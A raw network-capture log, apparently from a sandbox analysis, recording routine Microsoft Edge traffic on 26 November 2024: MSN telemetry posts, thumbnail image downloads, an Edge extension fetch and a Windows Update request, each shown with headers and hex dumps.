2024-11-26 07:03:55 UTC	5049	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 36 54 30 37 3a 30 33 3a 35 32 2e 35 39 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 39 64 38 38 61 30 31 63 2d 63 33 37 39 2d 34 33 31 63 2d 39 38 37 33 2d 34 65 61 30 63 37 31 35 64 62 34 30 22 2c 22 65 70 6f 63 68 22 3a 22 34 31 38 31 30 38 38 38 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-26T07:03:52.599Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"9d88a01c-c379-431c-9873-4ea0c715db40","epoch":"418108884"},"app":{"locale"
2024-11-26 07:03:55 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=bae8a247b0b44dec8687e3b3de3d9a7e&HASH=bae8&LV=202411&V=4&LU=1732604635484; Domain=.microsoft.com; Expires=Wed, 26 Nov 2025 07:03:55 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=88be5c62f43746c6ae7e6a829b89e47e; Domain=.microsoft.com; Expires=Tue, 26 Nov 2024 07:33:55 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2884 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 26 Nov 2024 07:03:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	49826	20.189.173.17	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:55 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732604633477&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5247 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2A1C8E46DA6B6D3B073F9B05DB6A6C89; _EDGE_S=F=1&SID=266A8DFD2704619D19DF98BE2605600F; _EDGE_V=1; msnup=
2024-11-26 07:03:55 UTC	5247	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 36 54 30 37 3a 30 33 3a 35 33 2e 34 37 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 39 64 38 38 61 30 31 63 2d 63 33 37 39 2d 34 33 31 63 2d 39 38 37 33 2d 34 65 61 30 63 37 31 35 64 62 34 30 22 2c 22 65 70 6f 63 68 22 3a 22 34 31 38 31 30 38 38 38 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-26T07:03:53.475Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"9d88a01c-c379-431c-9873-4ea0c715db40","epoch":"418108884"},"app":{"locale"
2024-11-26 07:03:56 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=3f48bffa550942d08450d87c31a0ea23&HASH=3f48&LV=202411&V=4&LU=1732604635989; Domain=.microsoft.com; Expires=Wed, 26 Nov 2025 07:03:55 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=3989b6ca6f274ea6bc18c124a7b9bb2f; Domain=.microsoft.com; Expires=Tue, 26 Nov 2024 07:33:55 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2512 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 26 Nov 2024 07:03:56 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	49827	20.189.173.17	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:56 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732604633591&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9621 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2A1C8E46DA6B6D3B073F9B05DB6A6C89; _EDGE_S=F=1&SID=266A8DFD2704619D19DF98BE2605600F; _EDGE_V=1; msnup=
2024-11-26 07:03:56 UTC	9621	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 36 54 30 37 3a 30 33 3a 35 33 2e 35 39 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 39 64 38 38 61 30 31 63 2d 63 33 37 39 2d 34 33 31 63 2d 39 38 37 33 2d 34 65 61 30 63 37 31 35 64 62 34 30 22 2c 22 65 70 6f 63 68 22 3a 22 34 31 38 31 30 38 38 38 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-26T07:03:53.590Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"9d88a01c-c379-431c-9873-4ea0c715db40","epoch":"418108884"},"app":{"loca
2024-11-26 07:03:56 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=8568206ae55c488ca5cf1d6a8afcaaf7&HASH=8568&LV=202411&V=4&LU=1732604636399; Domain=.microsoft.com; Expires=Wed, 26 Nov 2025 07:03:56 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=523beb11b6f549399ef154fcf18927af; Domain=.microsoft.com; Expires=Tue, 26 Nov 2024 07:33:56 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2808 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 26 Nov 2024 07:03:56 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	49831	23.200.3.19	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:59 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:04:00 UTC	547	IN	HTTP/1.1 200 OK Last-Modified: Sat, 16 Nov 2024 01:10:29 GMT Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 822 X-Datacenter: eastus X-ActivityId: 8573cc25-f04b-4276-9d05-cb327393d12e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=247263 Expires: Fri, 29 Nov 2024 03:45:03 GMT Date: Tue, 26 Nov 2024 07:04:00 GMT Connection: close
2024-11-26 07:04:00 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	49830	152.195.19.97	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:59 UTC	620	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733209419&P2=404&P3=2&P4=nx13lQNwdYVSaPX7i2M%2f6YfJQd3rs5kG%2fvCWOcwQ20JKCkHXD6%2fCDL9K6kv%2fK4vJDwCSneRb5okaybViDVusZg%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: CGM/JxH+32tdvvJ/9Mi6pV Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:04:00 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 12531171 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Tue, 26 Nov 2024 07:04:00 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-26 07:04:00 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.8	49832	23.200.3.19	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:01 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:04:02 UTC	550	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Thu, 14 Nov 2024 00:11:17 GMT X-Source-Length: 17955 X-Datacenter: northeu X-ActivityId: 0a087112-3395-4d02-ae01-0e8f96fd1a66 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=148059 Expires: Thu, 28 Nov 2024 00:11:40 GMT Date: Tue, 26 Nov 2024 07:04:01 GMT Connection: close
2024-11-26 07:04:02 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.8	49836	23.200.3.19	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:03 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:04:03 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Wed, 20 Nov 2024 04:23:41 GMT X-Source-Length: 62552 X-Datacenter: westus X-ActivityId: 6e9d88a8-7621-4810-953c-26c780815227 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=292851 Expires: Fri, 29 Nov 2024 16:24:54 GMT Date: Tue, 26 Nov 2024 07:04:03 GMT Connection: close
2024-11-26 07:04:03 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.8	49837	23.200.3.19	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:05 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:04:05 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Tue, 29 Oct 2024 19:03:22 GMT X-Source-Length: 95457 X-Datacenter: westus X-ActivityId: 155cd87c-435f-4d80-bfaf-3f0e9ec39163 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=389670 Expires: Sat, 30 Nov 2024 19:18:35 GMT Date: Tue, 26 Nov 2024 07:04:05 GMT Connection: close
2024-11-26 07:04:05 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.8	49838	23.200.3.19	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:07 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:04:07 UTC	551	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 06:37:05 GMT X-Source-Length: 1437868 X-Datacenter: westus X-ActivityId: 35f8cf50-b6a5-4c74-ae05-da13e654185f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=257613 Expires: Fri, 29 Nov 2024 06:37:40 GMT Date: Tue, 26 Nov 2024 07:04:07 GMT Connection: close
2024-11-26 07:04:07 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.8	49839	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:07 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=52sUK2MZueOEy4P&MD=OuhoZaBu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
